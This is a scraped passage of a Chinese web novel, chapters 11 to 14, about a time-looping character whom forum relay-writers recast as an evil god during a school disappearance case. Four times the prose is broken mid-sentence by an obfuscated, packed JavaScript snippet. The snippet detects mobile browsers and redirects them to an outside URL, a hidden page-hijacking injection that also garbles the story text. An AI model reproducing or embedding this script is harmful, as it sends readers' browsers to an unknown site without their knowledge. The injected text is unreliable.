【普通人风评被害.jpg】 【只有我关心主线剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899473|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情吗？魃戈和案子到底有没有关系？】 【肯定没有呀，不然不就是自投罗网嘛】 【感觉这个角色设置得不太好！和世界观太冲突了！】 【写文接龙没必要那么较真】 【都接龙了，能不能别那么套路……】 【支持天马行空】 【+1，续写卖煎饼不就是嫌勇者拯救世界的故事太俗套了吗】 躺在床上的魃戈打了一个大大的哈欠。 第三块碎片到手。 送走被他唬住的海罗，他没有第一时间观察论坛的反应，而是帮晚餐高峰期的冷面馆老板娘打下手，换来了免费的鸡丝冷面和冰可乐，还有微薄的工资。 顺带一提，可乐也是他最近爱上的饮品，别名肥宅快乐水，有点像原世界的苏打水。 忙完回到旅馆，魃戈冲了个澡，打开论坛就看到如上发言。 暗示世界被改变是他深思熟虑后的大胆尝试，既可以拿出“真才实学”坐稳神棍身份，又可以看看戳破真相后论坛用户的反应。 结果显而易见，非常成功。 就说嘛，正常人想不到笔下的角色“活”了，只会以为是设定。 唯一想不明白的是“魃戈=BUG”的言论。 论坛经常出现奇怪的密语，魃戈曾经认真地钻研过，应该是另一种语音，但仅凭三言两语掌握一门外语太难了，“BUG”还偏偏无法根据上下文推出语义。 他的名字究竟有什么含义？ 和上次提到汤克和海罗是tank和hero的音译有关系吗？ 布莱克和BUG是一个意思吗？ 名字是身份还是特征？是否为破局的关键？ 魃戈越思考越睁不开眼，世界出现了重影，困意伴随疑问一同涌了上来。 …… 一个缺了小口的白碗摆在桌上。 撑着脑袋发呆的魃戈从思绪中回过神，热气扑面而来，他扬起脑袋，撞上婆婆和蔼的笑容。 “来，喝刚熬好的鸡汤。” “谢谢婆婆。” 勺子盛起鸡汤，轻轻吹了几下，暖气顺着喉咙向下流淌，不知不觉就喝完了大半碗。 “孩子，你是不是有心事？” “为什么这么说？” “最近你魂不守舍的，总是看到你在发呆，不是坐着发呆就是站着发呆。”婆婆忧心忡忡地问，“是不是太累了？和你说过好多次了，不用挨家挨户地帮忙，累垮身子怎么办？” “我没事。”魃戈顿了顿，“我只是在思考一件事。” 婆婆笑道：“有烦恼不告诉我，把婆婆当外人了？” 打趣声传入耳中，难以言述的沉重压在身上，魃戈像是躲避似的垂下眼帘，碗中仅剩几口的汤汁倒映出他的面容，赤红色的眼眸宛如滴入其中的血珠。 他喃喃自语：“命运，可以当做原谅无能的借口吗？” …… 魃戈猛地睁开眼睛。 天还未亮，他面无表情地盯着黑漆漆的天花板，44周目在脑海中重现，本以为早该遗忘的记忆前所未有的清晰。 ——“命运，可以当做原谅无能的借口吗？” 他嗤笑一声。 也只有早期才能问出这种蠢问题。 答案是什么不重要，因为45周目他没有去菲特村，与其在无解的难题上做无用功，不如趋利避害。 若是非要找人承担罪名，可以是海罗，也可以是魔族。 而不是他。 魃戈长舒一口浊气，像是要把心中的郁结全都驱散，正当他准备继续闭眼睡觉，翻身碰到一个冰凉的硬物。 定睛一看，竟是一台手机。 屏幕因靠近而亮起，短信映入视线—— 【001：邪神大人，一切按照您的吩咐准备好了。】 魃戈：“？？？” 11. 第十一章 邪神两字一出，魃戈从没睡醒的状态强制启动。 来自几小时前的短信像是对他的平静生活狠狠来了一杆，立刻将他拽到支离破碎的烂摊子中。 什么邪神？他吗？ 啊？ 虽然他的精神系异能有违道德伦理，虽然他的魔力颜色是黑色，虽然他对黑魔法略知一二，虽然他在800周目当过魔王，虽然他对光明女神不屑一顾…… 但他和邪神就像洗碗机和抽水马桶，没有半毛钱关系！ 在原本的世界，邪神与光明女神是对立的虚构存在，相传，黑魔法源于邪神的力量，正统魔法则源于光明女神的力量。 用新世界的话来说就是封建迷信，没人会说科技是科技之神的恩赐。 可惜，不相信邪神和光明女神的人才是少数。 魃戈从被窝里伸出手，努力去够床头的灯，昏暗的房间被照亮，也看清了把他吓了一跳的东西。 ——手机。 新世界的通讯工具，类似于魔法传讯道具。 缺点是需要信号和定期缴纳话费，优点是价格低廉，不再是富贵人家才能使用的奢侈品。 但，他没有手机啊？ “……” 魃戈戳了戳手机，冷硬的触感从指尖传来，说明不是他睡迷糊的幻觉。 他起身检查了一圈，窗户和门紧锁，屋内也没有进人的迹象，排除安全隐患。 比起哪来的邪神，更值得思考的是哪来的手机。 发件人是001，没有历史通话和短信。 不知道发件人的身份，不知道机主是谁，不知道邪神指谁，不知道是否为恶作剧，不知道是否为中二病和癔症双管齐下，不知道手机的来路，不知道新世界是否存在邪神，不知道计划是什么…… 乍一看信息量很多，实际什么也确定不了。 魃戈打开论坛。 果不其然，有人在他睡觉期间突然创作欲爆发，来了一段别出心裁的续写。 【案件迟迟没有进展。 就在海罗一筹莫展之际，新增一名受害人，斯顿雷中学的学生家长离奇失踪了！ 海罗前去学校调查，竟在医务室发现了一个血红色符号！！！ “神秘符号是召唤阵。”学生解释道，“只要在阵内献上祭品就能让邪神现世，但这是我们私底下说着玩的，以为是哪个游戏或者哪部电视剧里的符号，没有人当真。” “最先是从谁那儿传出来的？”海罗问。 “不知道。” “你是在哪儿见到的？” “同桌画过。”学生迟疑地打量海罗，“警察叔叔，我是不是在哪里见过你？” 他猛地一拍大腿：“你是那个做煎饼很难吃的小贩！” 海罗：“……” 拜托学生为自己的身份保密后，海罗顺着线索追查下去，很快找到了源头。 传播召唤阵的竟是失踪家长的孩子！】 翻来覆去读了好几遍，魃戈横竖没看出哪里有问题。 爱用感叹号，算吗？ 虽然这段续写在推动剧情，还铺垫了邪神的存在，但和他有什么关系？哪一句话能得出「疑似邪神的手机收到神秘短信并出现在魃戈的枕边」的结论？ 难道世界的自动修复已经那么完善了？ 魃戈往下翻了翻，回帖的信息量寥寥无几，都是在笑海罗掉马猝不及防。 直到他发现创造欲爆发的大文豪不止一位。 【“我在爸爸的书房看到的，看着好玩就画了下来。”失踪家长的孩子脸色惨白，“我、我也不知道那个符号是什么意思，办公室的召唤阵不是我画的。” “别紧张，我就随便问问。”海罗安抚道，“你父亲失踪前有什么异常举动吗？” “我不清楚，我俩交流很少，在家里都打不着照面。”学生犹豫了一下，“他平常喜欢看玄学相关的书，有点走火入魔了，妈妈没少为此和他吵架，我也觉得他怪怪的。” 他咽了咽：“警察叔叔，我爸看的那些东西不会是真的吧？” “别瞎想，那都是骗人的。” 海罗一时间无法确定召唤阵和失踪案之间的关系。 但是，玄学……？ 他的脑子里浮现出一个名字—— 魃戈。】 喂！ 和他有什么关系啊！ 他连斯顿雷中学都没迈进一步！ 就算怀疑他，也不能顺水推舟地把罪名安在他的头上吧？ 更何况按照正常逻辑，他不该是邪神本尊，顶多是召唤邪神的贪婪人类。 魃戈的疑惑很快得到解答。 第三位大文豪横空出世，安排了一位无名无姓的炮灰揽下罪名，失踪案和召唤阵都是他的手笔，他一边狂热地念叨着“邪神大人”，一边发送短信，内容和魃戈收到的一致。 而他的心理描写是—— 【只有他们这些心腹才知道，邪神大人早已现世，但祂被困在了人类的躯壳中，必须完成召唤仪式、唤醒本体，才能让祂从肉身中解脱。 为了让神祇降临于这片土地，他们不惜付出一切代价。 所以，请宽恕他们的无能，再给一些时间。 伟大的……邪神大人……】 魃戈：“……” 这么重要的事，他怎么不知道？ 这和海罗组建勇者小队到头来发现魔王辛纳竟是自己有什么区别吗？ 照这么说，他使不出魔法是因为被困在人类的身体里了？ 哈，逻辑居然圆上了。 但他一点也不想当邪神，身处没有读档功能的勇者故事，他不想作死，到时候被主角斩草除根就好笑了。 【woc！这个剧情走向我喜欢！】 【终于有点接龙的样子了】 【+1，前面的日常无聊死了】 【三位老师配合得太默契了，只靠细节就把内容联系起来，还能结合前面已经登场的角色！会写多写！】 【画风差好大诶…】 【还好吧，调查员不就这样】 【克起来了】 【不一定是克苏鲁，看后面的人怎么接】 【没准儿是中二病患者哈哈哈】 【魃戈的长相描述挺符合邪神的特质，黑发红瞳神秘感，buff叠满了。】 每一条回复都像在雷区蹦迪。 魃戈揉了揉狂跳的太阳穴，心生一股和世界重启不太一样的无力感。 在意想不到的地方栽跟头了。 是他大意了。 长期浸泡在周目循环的世界观中，他想当然地以为自己能够掌控一切，经历过的事与未经历的事不过是有剧本与没剧本的区别，最终呈现的《平凡勇者从零开始击败魔王》也印证了他的观点，他怎么折腾也无法脱离剧本。 但写作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899474|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接龙不一样，论坛用户是不可控的。 哪怕他绞尽脑汁地证明自己的无害，伪装成知天命的神棍，撇清与案件的关系，改人设只是他们一句话的功夫。 他们追求的既不是逻辑，也不是合理性，而是乐趣。 只要他们乐意，海罗随时都能变回原世界的勇者，煎饼果子和便衣警察仅是他的南柯一梦。 魃戈叹了一口气，事实证明，在不可控因素面前蹦跶才是最冒险的行为。 可惜意识到已经晚了。 沉默片刻，魃戈突然意识到了什么，他把手机往床上一丢，猛地冲向挂在衣架上的外套。 待他把积蓄翻出来清点一遍，他才如释重负地松了一口气。 太好了，他的钱一分没少。 没买手机果然是正确的，至少他白赚一部手机，而不是掏钱买的手机多出莫名其妙的骚扰短信。 好心态决定一生。 他什么大风大浪没见过？不就是被造谣成邪神吗？他连这个破世界的本体是一本三流小说都能接受。 小事而已。 调整好心情，魃戈继续翻阅未看完的评论。 关于剧情的内容快速略过，看论坛用户讨论没有意义，剧情展开完全取决于下一位接龙者当下的心情。 下滑到某段内容，他停下了动作。 【弱弱问一句，你们有被卡审核的情况吗？】 【居然又出现了审核受害者？】 【亲人，我也没过审了QAQ】 【我是最新接龙的层主，我也出现了同样的情况。上次有人说把海罗和魃戈的互动删掉就过审了，我试着把魃戈和信徒的对话删掉，改成单方面的发短信，然后就顺利发出来了。】 【啥情况？@管理员 @版主】 【艾特版主没用，我就没见过他出现过。】 【魃戈遇BUG了】 【笑死，这名字果然有讲究】 【这叫bug？这叫you-know-who吧】 【我们论坛有自己的伏地魔】 【确定和魃戈有关系吗？前几次不是能发吗？】 【只有那个未知ip发出来了】 【没过审的都是因为写了魃戈，应该没有那么巧合的事，我猜发“魃戈”有概率被限流或者被屏蔽。】 【这不是一码事吧（呆滞）】 【小论坛太破了，花钱修修吧hhhh@管理员】 忽略那堆听不懂的怪词。 魃戈大概猜到BUG是什么意思了。 结合上下文，应该是漏洞、错误、问题诸如此类的词义，确实很符合他的定位。 挺好笑的，他正常得像个BUG。 而论坛讨论的BUG，多半与他本人有关。 作为独立于循环之外、能够窥见原作与论坛的特殊存在，拥有不被操控言行的特权再正常不过了，或者说，如果连他都成为文字的提线木偶，世界还是趁早毁灭吧。 尽管如此，这层保护并非万无一失，假借旁人之口依旧可以影响到他。 比如给他安上奇怪的身份。 魃戈把剩余的新评论翻完，除了管理员回复说他去查查看，没有其余有价值的情报。 他扭头看向窗外，外面的天已经亮了。 既然彻底醒了，就把烂摊子收拾了，免得一不留神出乱子。 他必须要摆脱麻烦的邪神身份。 12. 第十二章 摆脱邪神的第一步：搞清邪神是什么。 就像论坛说的，是不是邪神都不一定，可能是中二病患者抱团玩过家家却走火入魔了，也可能是假扮邪神实现一己私欲。 别说，后者和江湖骗子挺适配。 魃戈在原世界没少见这类人，隔三差五就有身份比小说还精彩的“天选之子”被押入地牢，邪神的使者、邪神转世、邪神与光明女神的后代、邪神的一体双魂、创造邪神的造物主等齐聚一堂，群星璀璨。 他们的目的很简单，无非就是诈骗敛财和体验权力，少数演着演着自己也信了。 如果邪神身份没有一锤定音，江湖骗子是相对好解决的困境。 毕竟，邪神本就不存在。 …… 趁着天刚亮，魃戈溜进了斯顿雷中学。 说是溜也不准确，他是大摇大摆走进去的，刚到岗的门卫打着哈欠询问他的身份，他笑眯眯地抬眼，精神控制对方放自己进去。 和非主角团交流不会被记录，行事作风张扬了些。 原文中，召唤阵是和邪神关系最紧密的线索——不包括被按头当邪神的他，其真伪能在一定程度上决定邪神的真伪。 魃戈打算去确认一下。 他恰好对符咒学略知一二，认个召唤阵不是难事。 医务室不难找，走进教学楼没几步，魃戈就在一楼看到了写着医务室的牌子。 校医上班没那么早，房门紧闭，敲门无人应答。 他转了转门把手，负责任地锁上了。 看起来不像是随便一脚能踹开的劣质门锁。 好在魃戈早有准备。 他从口袋摸出刚去五金店买的铁丝，两端戳进锁孔，倒腾了几秒，只听“咔哒”一声，医务室为他敞开一道缝隙。 成了。 艺多不压身，这就是999周目的实力。 魃戈轻轻推开门。 医务室不大，和他的旅馆房间差不多，一张观察床、一套办公桌椅和一个柜子便是全貌，总体干净整洁，没有堆放杂物和垃圾。 他有一个大胆的猜测，校医不会是牧师希尔洛吧？ 维池和汤克都不是论坛安排的身份，是世界自动修复的成果，恰好被他碰上，这才被记录在论坛成了官方身份。 但如果没被他逮到，说不定会在不知名的角落被论坛爆改身份。 被世界安排和被论坛安排，听起来没什么差别。 魃戈一边胡思乱想，一边寻找召唤阵，医务室没有现场保护，接龙字数限制没交代就算了，海罗居然也没这个意识，脱离论坛控制没有一点主观能动性。 终于，他在犄角旮旯找到了。 白墙上的血红色印记像是被蚊子被处决后的遗留物，尸体残骸被清理掉了，只留下一摊血迹。 恕他直言，老花眼来了估计要用放大镜才能看清。 魃戈不禁佩服海罗被强制激发的潜力。 只要是论坛下达的命令，掘地三尺也要找出来。 等魃戈看清符咒，他陷入了无尽的沉默。 称之为符咒都算抬举它了，还不如他的简易塔罗牌上的鬼画符，至少每一个符号都有来历，不是他胡编乱造的。 而呈现在他眼前的是…… 一只绿豆眼王八。 魃戈：“……” 指甲盖大小的红色简笔画与蹲下身的他视线平齐，如果不是地点和颜色都对上了，他必不可能把它当成召唤阵。 按照设定，就是这玩意儿把他的本体唤醒。 他应该尊称一声甲鱼吗？ 虽然乍一看很抽象，但仔细想想挺合理的，因为原文说海罗不确定召唤阵和失踪案之间的关系，如果是正儿八经的符咒肯定会被列入重要线索，恰恰是玩闹般的符号才会难以判断。 试想一下，正常人看到绿豆眼王八的简笔画，是不是也不能确定它和失踪案有关系？ ……不，正常人压根儿不会把两者联系到一起。 难道他错怪海罗了？ 没有现场保护是因为太离谱没必要？ 魃戈揉了揉疼得仿佛被龟壳砸过的太阳穴，最后放弃细究逻辑，掏出白赚的手机拍照留证。 他更愿意相信这是一场恶作剧。 忽然间，关于召唤阵的文字描述从脑海闪过。 ——【海罗前去学校调查，竟在医务室发现了一个血红色符号！】 血红色？ 不是暗褐色吗？ 魃戈轻轻一刮，龟壳内部的线条蹭下来一小块，暗褐色固体在指尖捻成粉末。 他嗅了嗅，淡淡的铁锈味传入鼻内。 果然是血。 一般来说，符咒是用水银或血液绘制的，后者多为动物血，极少数使用人血，往往是黑魔法师想特立独行彰显自己的邪恶，实际没什么区别。 常使用的动物血，猪血臭、鸡血骚、羊血膻、牛血刺鼻，老练的符咒师仅凭气味就能辨别。 而这股铁锈味分明就是人血。 加上味觉的判断会更准确，但魃戈的安全意识和教养不允许他舔一口来路不明的血液，他不是掉在地上的东西统统要往嘴里塞的两岁小孩。 他站起身子，挼挲手指，清理掉血渣。 人血，复杂性瞬间就上来了。 很少会有恶作剧使用人血，无论是自己的血还是别人的血都很诡异，别看图案小，但线条清晰、深浅一致、颜色偏黑，若是扎手指，那点血量根本不够，至少得准备小半碗。 绿豆眼甲鱼和小半碗人血的搭配，就像骑着飞马的蟑螂一样诡异。 思量片刻，魃戈翻出昨天没回复的短信。 他本来不想和发件人001联系，生怕有些话抛出去就是给世界修复提供思路。 但世界太癫了，他选择查看参考答案。 他敲键盘点击发送—— 【魃戈：？】 …… 早自习开始前一个小时，海罗推着摆摊车抵达校门口。 尽管身份被学生道破，但他依旧坚守在煎饼果子的摊位上，如今受害者出现在斯顿雷中学，他更该严加死守，而且那位学生已经答应为他保守秘密。 完成今天第一个成功的煎饼，海罗欣慰地扬起嘴角，但这份喜悦没持续多久，脸上的笑容在看清下一位顾客时僵住了。 “早上好，海罗先生。” “……” 束发的黑发青年笑盈盈地站在摊位前，夸张的欧式贵族服饰换成了轻便的常服，乱翘的碎发显得他懒洋洋的，可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899475|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那双血红色的眼睛如地狱燃烧的烈火般骇人，一下子把海罗带到了被言语攻击一连串的午后。 不对，不止午后。 他俩一共见过两次，两次他都被骂了。 “我记得你叫……”海罗艰难地从记忆中翻出对方的名字，“魃戈？” “是我。”神棍愉快地承认。 海罗警惕地问：“你有事吗？” 无论是冷嘲热讽，还是事关失踪案，他都做好了心理准备。 必要的时候，他愿意暴露身份强行逮捕对方。 “买煎饼啊。”魃戈无辜地歪了歪头，真诚度堪比和老师解释为什么没写作业的学生，“你说上次的失误是意外，我想见识一下不是意外的成果。” 他自顾自地点单：“加油条培根鸡排，啊，我要双蛋。” “……” 海罗将信将疑地打量着黑发青年，犹豫片刻，他认命地接过递来的钱：“你吃辣吗？” “不吃。” “葱和香菜要加吗？” “加。” 寻常的对话没有降低海罗的警惕，他倒上调制好的面糊，表面上按照流程做煎饼，实则密切观察对方的一举一动， 提心吊胆了半天，什么也没发生，魃戈只是安静地看着，倒是他自己险些把饼皮戳出一个洞。 但他不相信魃戈没有其他目的。 一个约等于无业游民的神棍，起得比大部分学生还早，特意跑到校门口买煎饼果子。 这符合常理吗？ 能吃早饭就不错了，五点多起床，是通宵没睡吗？ 海罗熟练地把煎饼装袋：“给。” “谢谢。” 魃戈接过热腾腾的煎饼，往旁边一站，自然地化身为煎饼摊的吉祥物。 看上去丝毫没有离开的打算。 海罗：“……” 他就知道。 这家伙不会轻易放过他的。 谁能告诉他，他究竟哪里得罪魃戈了？他根本不记得他俩也见过，更别提存在过节了。 煎饼摊和算命摊没冲突吧？ 还是从玄学的角度，他俩就不适合共存？又或者说，此人的真实身份是阴魂不散的男鬼？ 感受到停留在自己脸上的视线，魃戈抬起脑袋，咽下口中的食物，双眸清澈：“你是在等测评吗？进步很明显，味道也不错，加油。” “……” 谁问他了？ 海罗控制住抽搐的嘴角，他不断催眠自己「这是一块等身人形立牌」，随后对下一位顾客笑脸相迎： “同学，吃点什么？” 煎饼摊的生意持续到铃声打响后的半小时。 不少迟到的学生放弃挣扎，木已成舟，他们索性悠哉悠哉地买完煎饼再进学校。 等不再有新顾客，那位黑发男鬼…哦不…黑发青年还没离开。 海罗快马加鞭地收拾东西，想趁其不备溜之大吉，他有预感，再不走肯定要被盯上了。 然而，一只手无情地按住摆摊车，封锁了他的退路和念头。 他联想到了从电视机伸出手的贞子。 海罗缓缓抬头，对上一双看不出情绪的赤眸，只觉得他眉眼弯弯似是在笑。 “听说你在调查我？” 13. 第十三章 海罗瞳孔地震。 ——为什么魃戈知道自己在调查他！？ 难道上次找他占卜暴露了？ 不，他可什么都没说，一点隐私也没透露，反倒是魃戈不知怎么精准地直戳痛点，把他批得体无完肤，让他一度怀疑自己是不堪的化身。 难道内部有卧底透露了？ 但审查非常严格，潜入内部是件难事，而且他只联系了一位同事调查魃戈的身份，这点小事不至于传得沸沸扬扬，若是能让间谍掌握那么细致的情报，他认为趁早离职才是明智之举。 等等，假如队里有人误入歧途呢？比如遭遇了重大变故，听信召唤邪神能实现愿望那一套？ 人在末路不会放过任何希望，即便是荒谬远大于希望的可能性。 那魃戈究竟在其中扮演什么样的身份？ 组织者？传播者？ 他说这句话的目的是什么？ 察觉到警察介入调查想灭口？拉拢自己？还是想谈判？ 海罗快被阴谋论淹没了。 被煎饼熏了将近两个小时的脑子像锅上等待清理的残渣废料，半天转不过来，他只能对着笑盈盈的黑发青年干瞪眼。 现在该怎么办？ 报警吗？——不对，他就是警察。 煎饼摊多了，原谅他还没适应警察的身份。 “你……”海罗艰难地挤出几个字，“是占卜猜到的吗？” 说完他就后悔了。 这不就承认他确实在调查吗！？ 魃戈轻笑一声，没有对这份坦诚表现出被窥探的不适：“我就当做你是在肯定我的能力了。” 一句话了否认玄学。 “我知道你在想什么。”难得开口没有言语攻击，但他的话却再次把海罗的心脏揪起来，“不必紧张，我没有恶意，我只是来和你交流的。” 那颗脆弱的心脏成了被拍着玩的皮球。 听完反而更紧张了。 黑发青年勾起唇角：“查不到我的身份，是吗？” ——又说对了。 同事的效率很高，当天就出结果了，但什么也没查出来。 海罗一度怀疑系统出BUG了。 连流浪汉的家世和生平都能查得彻彻底底的时代，那么一个大活人居然连「魃戈」是不是真名都差不出，出生地和出生年龄更是一无所获。 事已至此，海罗放弃弯弯绕绕：“你想做什么？” 魃戈叹息道：“把调查重点放在我的身上，属于有点专业度但不多的做法。” “……！？” 海罗再次瞳孔地震。 如果说“听说你在调查我？”透露魃戈知晓他的警察身份，那这句话就透露连他接手的案子都了如指掌。 他把手搭在煎饼铲子上，俨然进入执法模式，必要时他会使用铲子迎敌：“你到底是谁？” “你察觉到了我的异样，的确，我出现的时机、身份、言行处处流露着诡异，所以你自然而然地把我当成怀疑对象。”魃戈顿了顿，“但如果我与这一切有关，为什么要明目张胆地出现在你的面前？为了挑衅你？” 他摇了摇头：“今年的新人太令我失望了，不如趁早把卖煎饼当成出路。” “什、什么？”海罗听懵了，费劲地提取这段话蕴含的信息量，“你的意思是……你是……” 搞了半天是队友吗！？ 所以，查不到是因为用了假身份？ “是你想的那样。”魃戈说，“我有我的任务，以你的权限恐怕接触不到，你只需明白我是你的帮手。” 他收回撑住摆摊车的手，悠闲地插进外套口袋，垂在肩膀上的辫子与轻薄的纯黑风衣混在一起，像是倾洒而下融入影子的墨水，暗得发沉。 “必要的时候，我会主动联络你。” …… 趁海罗没反应过来，魃戈迅速溜走，留下高深莫测的背影。 万一对方突然智商上线，问他索要证据就麻烦了。 刚才那些话都是他瞎扯的，既没有物证，也没有人证，他暂时不想用精神控制蒙混过关，因为不确定会不会被论坛记录，万一被记录了，他的嫌疑彻底洗不清了。 故意言语引导海罗，把自己塑造成潜入组织内部的卧底，这是魃戈现阶段的对策。 而「邪神大人」的短信只是一个小小的误会，解释误会的方法有很多种，比如他被当成了邪神的使者，又比如他被安排为邪神的信箱。 具体看论坛怎么发挥，他不打算干涉过多，毕竟海罗不知道短信的事，以免多说多错。 “——魃戈？” 冷面馆老板娘从店铺探出脑袋，诧异地招呼道：“你怎么起那么早？吃早饭了吗？进来坐坐，阿姨请你吃。” 魃戈一改对待海罗的恶劣态度，换上得体的微笑：“谢谢，我已经吃过了。” 冷面馆老板娘是他的贵人赞助商，占卜摊的灵魂——桌子和凳子都是她提供的，作为回报，他免费赠送了一次披着占卜皮的心理咨询。 闲暇之余，他还会帮忙打下手。 当然，是收费的，只是价格比较低廉。 “最近出门当心点，外面不太平。”老板娘压低声音，“斯顿雷中学有家长失踪了。” 魃戈故作惊讶：“怎么回事？” 居民视角和论坛视角不一定相同，只有原住民的经历才是最贴切的故事，还有概率打听到世界自动修复的剧情走向。 他想听的便是这个。 “那人住在对面小区，偶尔来店里吃饭，不知道什么时候起，他开始研究那些稀奇古怪的玩意儿，邪乎得很。”老板娘回忆道，“我劝过他，这些东西少看，看多了不好。他不听，结果就失踪了，还是在学校里失踪的。” 魃戈问：“怎么会在学校里失踪？有人看到了？” “保安看到他进去了。” “真奇怪，他去学校做什么？” “这我就不清楚了。” “查监控了吗？” “查了，人家老婆说当晚的监控刚好没了，所以我才说这事太邪了。”老板娘念叨个不停，“那个人也真是，闲着无聊学学画画学学跳舞，不都挺好的？非要作死研究这种说不清的东西，这下好了，把人搭进去了。” 她突然想到面前之人的身份：“魃戈，你干这行的肯定懂。哪有那么巧合的事？” “听起来很玄乎。”魃戈冷静地分析，“不过，要先确定是不是人为的，现在的证据不够充足，谁也不知道那位家长有没有离开学校。” 续写没提到的内容，逻辑倒是全圆上了。 他的任务是把事件往人为的方向引导，邪教、传销、诈骗、恶作剧等等，什么都可以，但千万不能是神秘学。 未知领域往往伴随着难以预料的麻烦和恐惧。 和老板娘寒暄了几句，魃戈回到占 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899476|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卜摊，他把第四块漏洞碎片收了起来，打开论坛界面看后续。 未知ip发了最新的接龙，以海罗的视角阐述事情的经过，连心理活动都写出来了。 魃戈不禁发笑。 他还奇怪海罗怎么突然捏住铲子，以为是缺失安全感导致的，没想到真实心理居然是想靠铲子和他一决高下。 【…… 望着黑发青年远去的背影，海罗呆呆地站在原地，等他回过神，他懊恼地拍了一下脑袋。 要命，忘记问魃戈该怎么联系了。 难道他俩注定只能在各自的摊位相遇吗？】 魃戈当然是故意没说的。 作为合格的谜语人，保持神秘感是基本常识。 【又是未知ip！捕捉！】 【又反转了？？】 【魃戈居然是组织的卧底？（惊）】 【逻辑说不通诶，为什么001给魃戈发短信？还对着他喊邪神大人？】 【卧底太成功把自己干到邪神了hhhhh】 【幻视一些商战文，被老板派去卧底对家，结果一路升职干到了CEO】 【翻了一下之前的续写，没有明说魃戈等于邪神，海罗视角从玄学联想到了魃戈，001视角说邪神被困在了人类的躯壳中，由于两段续写挨在一起，我们想当然地认为邪神就是魃戈。】 【所以，魃戈到底收到短信了吗？】 【魃戈收到短信也不能证明他是邪神吧？可能他被当成邪神的使者之类的……？】 【懂了，邪神的秘书（笑）】 魃戈非常满意论坛的展开。 他就说吧，论坛用户会自动把逻辑圆上，他不需要担心那些空白的内容该怎么填补。 仅凭一次对话，他就从邪神变成了卧底。 【怪不得初次见面魃戈会说那些话！他早就知道海罗是队友！故意说这些话对暗号！问人家满不满意现在的身份！但海罗没有get到！】 【占卜对海罗的评价那么毒舌，是因为魃戈单方面认识人家】 【一切都解释得通了哈哈哈】 【马后炮，那些剧情都是不同的人写出来的，他们当时根本没想那么多（白眼）】 【楼上好扫兴（白眼）】 【+1，不同的人接龙，再把前面的坑填上，不是很有意思嘛】 【我觉得现在这样很好啊】 【虽然说要写最出其不意的神展开，但怎么都在魃戈的身份上做文章……】 【现在的讨论也全都围绕着魃戈，谁还记得海罗？】 【有一说一，魃戈的人设比海罗有意思多了】 【你们不懂黑毛红眼神秘男的含金量】 【海罗像个摄像头（）】 【疑似主角厨大战配角厨（狗头）】 【不是，谁觉得海罗的戏份少就自己去接龙啊，又不是内容固定的作品】 【？这种娱乐性活动也能吵起来吗】 话题朝着与剧情无关的方向发展。 魃戈果断关掉论坛，思考下一步该怎么做。 既然他认领了卧底的角色牌，那就应该做出与身份相符的事。 而且这个案子不了结，邪神和失踪案的真相没有水落石出，他就注定无法心里踏实，论坛的续写就像一颗不定时炸弹。 就在这时，手机震动，魃戈收到一条新短信。 001回复了。 14.第十四章 【001：天啊！此乃邪神大人源自深渊的回响！此乃邪神大人回应信徒的仁慈！宇宙赐予群星以安宁，神之意志化为不可见之眼，睥睨吾等试图唤醒古老文明的挣扎身姿，而我何等殊才能与伟大的神祇仅凭虚无飘渺的信号联系！？神啊，原凉我的无礼与怠慢，我太懒惰了，居然才睡醒……只要是您的疑问，我甘愿付出一切代价乃至生命！】 魃戈：“……” 疑似中二病发作现场。 比参考答案只有一个“略”更无语的事发生了，密密麻麻几行字好像很认真，实际没一个字和答案有关。 他努力从大量文字中提取关键信息。 只看出一点，001刚睡醒。 如果邪神大早上收到这么一条废话连篇的短信，可能一怒之下就把信徒碾成粉末了。 【魃戈：上次说的计划是什么？】 【001：您不记得了吗？您被困在人类的躯壳中，我们要把您唤醒！】 【魃戈：唤醒的条件是什么？】 【001：月圆之夜以七位满足条件的祭品开启仪式，您也不记得了吗？长时间被困在人类躯壳中，果然会造成影响，您会被逐渐同化成人类！请放心，祭品已经找齐了！只需静候月圆之夜的到来！！】 